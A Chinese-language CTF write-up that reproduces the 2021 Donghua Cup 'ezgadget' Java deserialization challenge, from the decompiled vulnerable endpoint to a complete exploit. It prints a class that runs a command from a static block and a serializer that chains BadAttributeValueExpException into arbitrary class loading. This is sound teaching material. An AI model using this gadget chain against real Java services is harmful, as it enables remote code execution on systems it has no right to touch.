前言
学了cc链后找个题练练吧,本篇文章记录东华杯2021ezgadget题目的复现过程。题目附件网上随处可见,在这就不放附件了。题目不是很难 ,看看吧。
题目分析
利用jd-gui工具反编译jar包,idea新建maven项目,把反编译好的源码拷贝进去。运行代码启动服务
 
本地环境启动成功,当然也可以运行jar包来起环境,只不过放在idea中更好调试。废话不多说了开始分析。有一个控制器类
| @Controllerpublic class IndexController
 {
 @ResponseBody
 @RequestMapping({"/"})
 public String index(HttpServletRequest request, HttpServletResponse response) {
 return "index";
 }
 @ResponseBody
 @RequestMapping({"/readobject"})
 public String unser(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {
 byte[] b = Tools.base64Decode(data);
 
 InputStream inputStream = new ByteArrayInputStream(b);
 
 ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
 
 String name = objectInputStream.readUTF();
 
 int year = objectInputStream.readInt();
 if (name.equals("gadgets") && year == 2021) {
 
 objectInputStream.readObject();
 }
 return "welcome bro.";
 }
 }
 
 | 
设计了两个路由,重点在于/readobject路由,对我们传入的data数据base64解码,然后满足下面这个if判断就会反序列化。反序列化的漏洞点有了,接下来找找利用类。有一个ToStringBean类,
| public class ToStringBean extends ClassLoader implements Serializable {private byte[] ClassByte;
 
 public String toString() {
 com.ezgame.ctf.tools.ToStringBean toStringBean = new com.ezgame.ctf.tools.ToStringBean();
 Class clazz = toStringBean.defineClass((String)null, this.ClassByte, 0, this.ClassByte.length);
 Object Obj = null;
 try {
 Obj = clazz.newInstance();
 } catch (InstantiationException e) {
 e.printStackTrace();
 } catch (IllegalAccessException e) {
 e.printStackTrace();
 }
 return "enjoy it.";
 }
 }
 
 | 
继承了ClassLoader,在toString函数中用defineClass函数进行类加载,又有newInstance初始化,很明显,这里可以任意代码执行了。再看看其他类吧,Tools类。
| public class Tools {public static byte[] base64Decode(String base64) {
 Base64.Decoder decoder = Base64.getDecoder();
 return decoder.decode(base64);
 }
 
 public static String base64Encode(byte[] bytes) {
 Base64.Encoder encoder = Base64.getEncoder();
 return encoder.encodeToString(bytes);
 }
 
 public static byte[] serialize(Object obj) throws Exception {
 ByteArrayOutputStream btout = new ByteArrayOutputStream();
 ObjectOutputStream objOut = new ObjectOutputStream(btout);
 objOut.writeObject(obj);
 return btout.toByteArray();
 }
 
 public static Object deserialize(byte[] serialized) throws Exception {
 ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
 ObjectInputStream objIn = new ObjectInputStream(btin);
 return objIn.readObject();
 }
 }
 
 | 
定义了base64加密解密,序列化,反序列化的函数。还有一个user类没啥用,就不贴代码了。我们最终的目的是调用ToStringBean的toString函数来代码执行,结合反序列化,我们需要找到一个重写了readObject方法,并且在该方法中调用了任意类的toString方法的类。有这样的类吗?当然有,cc5的入口类就满足条件了,BadAttributeValueExpException类。看看它的readObject方法。
 
读取var属性的值赋给valObj,并调用valObj的toString方法。val属性是我们可控的,那么链子就直接走完了,很短吧。主要思路:
| BadAttributeValueExpException->readObject()->ToStringBean->toString()->任意类加载
 | 
编写被加载的类:
| package com.ezgame.ctf.exp;import java.io.IOException;
 
 public class payload {
 public payload() {
 }
 static {
 try {
 Runtime.getRuntime().exec("calc");
 } catch (IOException var1) {
 var1.printStackTrace();
 }
 }
 }
 
 | 
编译成class文件,然后编写攻击类:
| package com.ezgame.ctf.exp;
 import com.ezgame.ctf.tools.ToStringBean;
 import com.ezgame.ctf.tools.Tools;
 import java.io.ByteArrayOutputStream;
 import java.io.ObjectOutputStream;
 import java.lang.reflect.Field;
 import java.nio.file.Files;
 import java.nio.file.Paths;
 import javax.management.BadAttributeValueExpException;
 
 public class exp {
 public exp() {
 }
 
 public static void main(String[] args) throws Exception {
 ToStringBean toStringBean = new ToStringBean();
 BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("123");
 Class c = badAttributeValueExpException.getClass();
 Field objval = c.getDeclaredField("val");
 objval.setAccessible(true);
 objval.set(badAttributeValueExpException, toStringBean);
 Class b = toStringBean.getClass();
 Field classbyte = b.getDeclaredField("ClassByte");
 classbyte.setAccessible(true);
 byte[] filebin = Files.readAllBytes(Paths.get("D://tmp/classes/payload.class"));
 classbyte.set(toStringBean, filebin);
 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
 objectOutputStream.writeUTF("gadgets");
 objectOutputStream.writeInt(2021);
 objectOutputStream.writeObject(badAttributeValueExpException);
 byte[] code = byteArrayOutputStream.toByteArray();
 String s = Tools.base64Encode(code);
 System.out.println(s);
 }
 }
 
 | 
为了满足if条件判断,将gadgets和2021写入流,通过反射修改类属性,这些都是常规操作了。
 
成功弹出计算器。